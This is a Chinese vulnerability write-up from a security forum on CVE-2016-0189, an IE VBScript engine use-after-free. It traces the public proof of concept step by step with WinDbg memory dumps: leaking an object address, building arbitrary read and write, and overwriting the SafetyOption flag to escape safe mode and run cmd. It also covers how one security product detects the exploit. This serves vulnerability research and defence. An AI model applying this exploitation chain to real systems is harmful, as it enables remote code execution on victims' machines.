CVE-2016-0189 vbs指令碼引擎損壞漏洞分析
漏洞背景
CVE-2016-0189是一個vbscript指令碼引擎損壞漏洞,最初作為一個0day被用在針對韓國的APT攻擊中,並在2016年3月10號於MS16-051中被修復。3個月後,國外安全人員通過補丁比對分析了漏洞成因,並將利用程式碼上傳到Github。從此0189便被廣泛納入各種掛馬,在今年的CVE-2018-8174出現之前,CVE-2016-0189一直是較新版本IE的掛馬首選。
由於之前在除錯這個漏洞時發現參考資料很少,特別是國內只看到一篇文章討論這個漏洞,於是決定把除錯過程寫一下,不足之處請見諒。
漏洞成因
在vbs解析引擎中,vbscript!AccessArray函式用來訪問陣列成員。例如訪問一個二維陣列A的成員A(1,1)時,vbs解析引擎就會呼叫這個函式,根據傳入的索引計算待訪問的地址。
2015年Hacking Team的洩漏中有兩個通過過載valueof函式來觸發的flash 0dayCVE-2015-5119/CVE-2015-5122。這兩個漏洞的思路是當賦值方是個物件,而被賦值方出於某種原因要求接收一個數值時,會呼叫該物件的valueof方法進行轉換,而valueof方法是可以被過載的,這樣就可以在過載的valueof函式中進行一些自定義的操作,例如釋放物件,改變陣列大小等。
在vbscript!AccessArray函式內,當訪問語句為如下形式時,就有可能進入上面的情景,而事實確實如此。
A(js_obj,1)
具體的邏輯如下圖所示,cp_var_index->vt代表索引變數的型別,當索引型別為VT_I2和VT_I4時,直接返回該物件的值,而其他情況下會呼叫vbscript!rtVariantChangeTypeEx函式,並在裡面呼叫oleaut32!VariantChangeTypeEx函式,隨後會呼叫物件的valueof方法。
我們來看一下VT_I2和VT_I4代表什麼:
The value of aVT_I2type property MUST be a2-byte signed integer. It MUST be formatted inlittle-endianbyte order.
The value of aVT_I4type property MUST be a4-byte signed integer. It MUST be formatted inlittle-endianbyte order.
當傳入索引是有符號短整型和有符號長整型型時,就直接使用其值,而當索引為其他型別時(例如當傳入物件為js物件時,變數型別為VT_DISPATCH),就呼叫vbscript!rtVariantChangeTypeEx函式將物件值轉化為要求的型別,最終通過呼叫valueof方法返回該值。
In vbscript!AccessArray
call vbscript!rtVariantChangeTypeEx
call oleaut32!VariantChangeTypeEx
...
call valueof
如果我們在過載的valueof內改變陣列的大小,當返回上層繼續訪問陣列元素時,就會產生問題。poc中的思路是:先定義一個比較大的二維陣列A(1, 2000),然後通過訪問A(js_obj, 2)去呼叫過載的js_obj.valueof()方法將一維索引轉化為合理的陣列下標。在js_obj.valueof()內將陣列縮小為A(1, 1),然後迅速用UAF進行佔位,並在valueof方法的最後返回1,作為轉換後的索引。轉換完成後訪問A(1, 2) 。然而這時候的A(1, 2)已經變成了佔位後的記憶體。攻擊者多次利用這一特性來操控記憶體,分別實現洩漏一個類物件地址,任意地址讀,和任意地址寫。在此基礎上找到vb的安全選項開關,利用一個單精度浮點數(vbSingle)的型別值(4)去覆蓋原來的安全開關屬性值(0x0E->0x?4),從而開啟上帝模式。
vbscript.dll內判斷物件安全性的函式是COleScript::InSafeMode,彙編程式碼如下圖所示。可以看到test指令對 dword ptr [ecx+174] 的值與0x0B(00001011)進行與運算,若結果為0,即認為不處於SafeMode,放行物件執行。
除錯環境
windows 7 sp1 x86 無補丁+vbscript.dll/oleaut32.dll 5.8.7601.17514+windbg 6.11 x86
POC分析與除錯
poc的主入口為exploit函式,原始碼的註釋寫的很清晰,可以看到exploit函式分為5個步驟:
步驟1:洩漏VBScriptClass物件地址
getAddr函式的邏輯又可以分為如幾步:
初始化一個ArrayWrapper類例項,此過程呼叫過載的Class_Initialize方法初始化一個二維陣列A(1, 2000)
在訪問A陣列時針對一維索引傳入一個js物件,導致呼叫過載的valueof方法
在過載的valueof方法中,呼叫triggerBug函式
triggerBug函式中呼叫ArrayWrapper.Resize方法將陣列縮小為A(1, 1),這將導致多餘部分的記憶體被釋放
利用精心構造的資料(y陣列)迅速佔用剛剛被釋放的記憶體
在過載的valueof方法最後返回1,返回後繼續訪問A(1, 2),從而將s物件寫入可控的記憶體
遍歷y陣列,通過對比VarType找出s物件(s是一個空class例項)並返回其地址
VBScriptClass繼承了NameTbl,其頭部是一個NameTbl結構體,NameTbl結構體偏移0x08處的值是一個指向NameList結構體的指標,NameList結構體偏移0x2C處是一個CDISPIDTable結構體,而CDISPIDTable結構體偏移0x08處的值是一個指標陣列,每個陣列元素都指向一個VAR結構體,代表一個類成員在類物件中的實體,整個關係如下所示:
先來看一下resize後的aw.A:
//VBScriptClass
0:005> dd0200ac80l30/4
0200ac80 6d061748000000020200ace002009420
0200ac90 00000e70000000000200adbc00000000
0200aca0 000000000039be4c000000000055fcf8
//classname
0:005> du0039be4c
0039be4c "ArrayWrapper"
//NameList
0:005> dd0200ace0
0200ace0 0200adb8000000c80000010000000100
0200acf0 000040000200adbc0200ae700200ad70
0200ad00 0000000f000000030000004000000003
0200ad10 000000140200ad180200adbc0200ae10
0200ad20 0200ae50000001350000013f00000000
0200ad30 0200acf40200ad080000004700000000
0200ad40 00000140000001410000004300000000
0200ad50 0000013500000141000000000200ad1c
//CDISPIDTable
0:005> dd0200ace0+2c
0200ad0c 00000003000000140200ad180200adbc
0200ad1c 0200ae100200ae50000001350000013f
0200ad2c 000000000200acf40200ad0800000047
0200ad3c 00000000000001400000014100000043
0200ad4c 00000000000001350000014100000000
0200ad5c 0200ad1c0200ad380000004477fb323f
0200ad6c 08011193000000000200ae500200ae10
0200ad7c 00000000000000000000000000000000
//slots_start
0:005> dd0200ad18l8
0200ad18 0200adbc0200ae100200ae5000000135
0200ad28 0000013f000000000200acf40200ad08
//slot前兩個成員為aw顯式宣告的兩個成員函式, 第三個成員為aw.A
0:005> dd0200ae50l4
0200ae50 0000600c000000000200ae5c0036c1e8
//可以看到此時aw為一個二維陣列,大小為(1+1,1+1)
0:005> dd0036c1e8l8
0036c1e8 088000020000001000000000034d8678
0036c1f8 00000002000000000000000200000000
//aw.A.pvData
0:005> dd034d8678
034d8678 00000000000000000000000000000000
034d8688 00000000000000000000000000000000
034d8698 00000000000000000000000000000000
034d86a8 00000000000000000000000000000000
034d86b8 7d3b38dd0807e4ee0000bb8041414141
034d86c8 00000009000000000055fcf800000000//被寫入的s物件
034d86d8 00440044004400440044004400440044
034d86e8 00440044004400440044004400440044
//aw.A.pvData, 以byte檢視
0:005> db034d8678
034d8678 0000000000000000-0000000000000000 ................
034d8688 0000000000000000-0000000000000000 ................
034d8698 0000000000000000-0000000000000000 ................
034d86a8 0000000000000000-0000000000000000 ................
034d86b8 dd383b7dee e40708-80bb000041414141 .8;}........AAAA
034d86c8 0900000000000000-f8 fc550000000000 ..........U.....
034d86d8 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.
034d86e8 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.
再來看一下佔位成功後的y陣列情況:
//可以看到y是一個一維陣列,成員數量為(32+1)
0:005> dd00370bf0l6
00370bf0 089200010000001000000000003d2928
00370c00 0000002100000000
//y.pvData
0:005> dd003d2928
003d2928 6d060008e0d3a79f034d86c46d065482
003d2938 6d060008e0d3a79f034e425c6d065482
003d2948 6d060008e0d3a79f034efdf46d065482
003d2958 6d060008e0d3a79f034fb98c6d065482
003d2968 6d060008e0d3a79f035075246d065482
003d2978 6d060008e0d3a79f035130bc6d065482
003d2988 6d060008e0d3a79f0351ec546d065482
003d2998 6d060008e0d3a79f0352a7ec6d065482
//y(0), 以byte檢視
0:005> db034d86c4
034d86c4 4141414109000000-00000000f8 fc5500 AAAA..........U.
034d86d4 0000000044004400-4400440044004400 ....D.D.D.D.D.D.
034d86e4 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.
034d86f4 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.
034d8704 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.
034d8714 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.
034d8724 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.
034d8734 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.
下圖分別以aw.A視角(紅色框區域)和y視角(黃色框區域)看s物件,不難發現有4位元組的錯位:
理解上圖之後,我們就可以根據條件查詢包含s物件的y陣列成員,除錯時恆為y(0)。poc裡面申請32次記憶體是確保釋放後的記憶體一定被y中的某個成員再次使用,進而從32個成員裡面找出包含s物件的那個成員。
For i=0To31
' Mid(y(i),3,1) 即取出上面日誌中的0900, 與s物件的型別vbObject進行比對, 若相等則進入if, 除錯時i恆為0, 說明釋放後的記憶體被y(0)立即佔用
' Mid(y(i),3+4,2) 即取出上圖中的 f8 fc5500, strToInt將其轉化為0055fcf8, 即s物件的地址
If Asc(Mid(y(i),3,1))=VarType(s) Then
addr=strToInt(Mid(y(i),3+4,2))
End If
y(i)=Null
Next
0:005> dd0055fcf8l30/4
0055fcf8 6d061748000000230000000002009420
0055fd08 00000e70000000000000000000000000
0055fd18 00000000003715240200ac8000000000
0:005> ln6d061748
(6d061748) vbscript!VBScriptClass::`vftable' | (6d06c518) vbscript!__pfnDefaultDliNotifyHook2
Exact matches:
vbscript!VBScriptClass::`vftable'=<notypeinformation>
//可以看到洩漏的s物件正是Dummy類的例項
0:005> du00371524
00371524 "Dummy"
洩漏了s物件的地址後,我們通過相關資料結構去獲取vbscript!SafetyOption的記憶體地址,並將其改寫為0x00或0x04。查詢過程如下:
下面對此進行說明。
步驟2:讀取CSession物件指標
poc中讀取CSession物件指標的程式碼如下所示:
由前面的分析已知addr是一個VBScriptClass例項指標,我們可以看到程式碼把addr+8的地址傳入leakMem函式,並通過Mid(mem, 3, 2)將CSession物件指標獲取出來並轉換為16進位制。
一個疑問
為什麼上述程式碼不寫成如下形式?
mem=leakMem(arg1, addr+&hc)
csession=strToInt(Mid(mem,1,2))
為了回答這個問題,我們先來看一下leakMem函式的實現:
leakMem的基本邏輯是在佔位記憶體中構造一個字串地址(Data High)為待讀取地址的字串物件,然後再次利用漏洞觸發UAF,從而使aw.A(1, 2)處改寫為一個VT_BSTR物件,隨後讀取該物件,從而使addr處的資料被當做定長字串讀出,最後在讀取的字串中定位CSession指標對應的部分並轉化為對應的32位地址。
圖片出處
我們來回顧一下BSTR物件的結構:
圖片出處
關鍵點在於字串前面的4位元組,這4位元組是一個長度域,指定了後面待讀取的unicode字串長度。現在再來看一下前面問題的那個問題。
這是本次除錯中getAddr函式返回的VBScriptClass例項:
0:005> dd0055fcf8l30/4
0055fcf8 6d06174800000023
0055fd08 00000e70000000000000000000000000
0055fd18 00000000003715240200ac8000000000
原poc中傳入的是addr+8,那麼可以構造出如下的BSTR結構:
//長度
0:005> dd0055fcf84l1
0055fcfc 00000023
//資料
0:005> db0055fcf8+8l23*2
0055fd00 0000000020940002-700e000000000000 .... ...p.......
0055fd10 0000000000000000-0000000024153700 ............$.7.
0055fd20 80ac000200000000-3f32fb7786110008 ........?2.w....
0055fd30 0000000074ab0002-0000000000000000 ....t...........
0055fd40 000000000000
這樣可以成功讀取包含Csession地址的字串。
如果程式碼這樣寫:
mem=leakMem(arg1, addr+&hc)
csession=strToInt(Mid(mem,1,2))
但當傳入addr+c時,構造的BSTR如下:
//長度為0, 無法讀出資料
0:005> dd0055fcf84l1
0055fd00 00000000
0:005> db0055fcf8+c
0055fd04 20940002700e0000-0000000000000000 ...p...........
0055fd14 0000000000000000-2415370080ac0002 ........$.7.....
0055fd24 000000003f32fb77-8611000800000000 ....?2.w........
0055fd34 74ab000200000000-0000000000000000 t...............
0055fd44 0000000000000000-0000000000000000 ................
0055fd54 0000000000000000-0000000000000000 ................
0055fd64 0000000000000000-000000003532fa7c ............52.|
0055fd74 8811000060af0002-f88100022b000000 ....`.......+...
此時構造的BSTR的長度域為0,資料無法正常讀出。
步驟3:讀取COleScript物件指標
poc中讀取COleScript物件指標的程式碼如下,原理和上一步完全相同,此處不再過多分析:
步驟4:覆寫vbscript!SafetyOption
在IE8中,vbscript!SafetyOption位於COleScript物件的+0x174處。poc程式碼中通過呼叫overwrite函式去覆寫這一值,如下:
程式碼中偽造一個type=0x400C間接定址物件,接著觸發漏洞,隨後將一個Csng(單精度浮點)物件的寫入COleScript+0x16C開始的16個位元組處,COleScript+0x174處正好寫入Csng的type值4,從而開啟上帝模式。
//type=0x400c對應間接定址
0:005> dd03218184+4l4
03218188 0000400c000000000036f91400440044
//覆蓋前的SafetyOption
0:005> dd0036f914l1
0036f914 0000000e
//覆蓋後的SafetyOption,SafetyOption &0x0B失效(0x024f0004&0x0B=0)
0:005> dd0036f914l1
0036f914 024f0004
步驟5
開啟上帝模式後,就可以彈出cmd視窗了。
漏洞檢測
下面通過逆向某安全軟體來看一下對CVE-2016-0189的動態檢測方案。
首先hook oleaut32!VariantChangeTypeEx函式
可以看到程式碼中對CVE-2016-0189的檢測邏輯為:在呼叫oleaut32!VariantChangeTypeEx函式前後檢查rgsabound[0].cElements所對應的第二維度的大小,若呼叫後的大小小於呼叫前的大小,則視為檢出。
0:013> dt ole32!tagSAFEARRAY
+0x000cDims : Uint2B
+0x002fFeatures : Uint2B
+0x004cbElements : Uint4B
+0x008cLocks : Uint4B
+0x00cpvData : Ptr32 Void
+0x010rgsabound : [1] tagSAFEARRAYBOUND
0:013> dt ole32!tagSAFEARRAYBOUND
+0x000cElements : Uint4B
+0x004lLbound : Int4B
//呼叫VariantChangeTypeEx前的aw.A
0041e7a0 08800002000000100000000002ff0f58
0041e7b0 000007d1000000000000000200000000
//呼叫VariantChangeTypeEx後的aw.A
0041e7a0 08800002000000100000000002ff0f58
0041e7b0 00000002000000000000000200000000
//rgsabound[0].cElements大小變化如下:
7d1(2000+1)->2(1+1)
這裡有一個疑問,MSDN對多維陣列的rgsabound域解釋.aspx)如下:
但除錯時發現A(1, 2000)的rgsabound實際使用順序和文件描述相反,看檢測邏輯裡面判斷的也是rgsabound[0]->cElements。我們以實際除錯結果為主。
致謝
特別感謝Hu Jiang,Xu Xilin,Yang Kang在除錯過程中的指導
參考連結
《CVE-2016-0189》https://theori.io/research/cve-2016-0189
《theori-io/cve-2016-0189》https://github.com/theori-io/cve-2016-0189
《Nebula漏洞利用包CVE-2016-0189漏洞利用分析》http://www.freebuf.com/sectool/131766.html
《WinDbg 漏洞分析除錯(三)之 CVE-2014-6332》https://paper.seebug.org/240/
《Write Once, Pwn Anywhere》https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf
原文出自:[原創]CVE-2016-0189 vbs指令碼引擎損壞漏洞分析
本文由看雪論壇 銀雁冰 原創
轉載請註明來自看雪社群
相關文章
- 結構損壞檢查指令碼2016-10-24指令碼
- 一些有趣的VBS指令碼2023-03-07指令碼
- Iiscnfg.vbs IIS 配置指令碼的使用2017-03-02指令碼
- 微軟曝新IE瀏覽器全系指令碼引擎記憶體損壞零日遠端攻擊漏洞,野外已利用暫無補丁,附緩解命令2020-01-18微軟瀏覽器指令碼記憶體
- vbs指令碼獲取Am註冊路徑資訊2020-05-20指令碼
- 指令碼之美│VBS 入門互動實戰2022-06-23指令碼
- PowerDesigner中通過VBS指令碼修改模型資訊2010-11-10指令碼模型
- 利用vbs指令碼將word文件轉換為pdf2024-07-06指令碼
- VBS指令碼程式設計(6)——物件的建立與呼叫2021-06-24指令碼程式設計物件
- 跨站指令碼漏洞2021-09-15指令碼
- 微軟發現一個 ChromeOS 遠端記憶體損壞漏洞2022-11-19微軟Chrome記憶體
- Oracle REDO損壞2017-05-14Oracle Redo
- C#指令碼引擎RulesEngine2021-02-06C#指令碼
- CVE-2013-3346Adobe Reader和Acrobat 記憶體損壞漏洞分析2016-08-01BAT記憶體
- Oracle資料庫塊的物理損壞與邏輯損壞2017-05-18Oracle資料庫
- 資料塊損壞ORA-1578(發現損壞塊)2009-10-04
- redo日誌損壞2018-02-01
- index損壞恢復2014-03-06Index
- undo 檔案損壞2015-07-01
- 線上日誌損壞2012-12-10
- 處理塊損壞2009-07-22
- 故障分析 | MySQL 備份檔案靜默損壞一例分析2023-03-14MySql
- oracle10g rac 表決盤損壞、ocr損壞處理2013-12-27Oracle
- CWE公佈最新25個危險軟體漏洞列表 記憶體損壞漏洞居首位2021-07-26記憶體
- 【故障分析】通過壞塊提示資訊確定損壞的資料庫物件資訊2010-04-27資料庫物件
- 無法找到指令碼檔案adsutil.vbs的解決方法2019-05-22指令碼
- MYSQL資料表損壞的原因分析和修復方法2013-12-13MySql
- 陣列櫃故障造成控制檔案損壞,資料檔案損壞2007-11-22陣列
- 如何查詢損壞塊2008-01-05
- C#指令碼引擎CS-Script2020-12-28C#指令碼
- 逆向分析Office VBS宏型別文件2024-10-29型別
- 資料庫損壞解決:資料庫已損壞,無法分配空間2016-06-29資料庫
- 使用dbverify檢測物理損壞2009-02-25
- 當前日誌損壞的案例2009-02-23
- 一個控制檔案損壞2012-08-20
- 段頭損壞的處理2009-07-24
- Unity引擎與C#指令碼簡介2019-03-04UnityC#指令碼
- 從零開始編寫指令碼引擎2022-05-15指令碼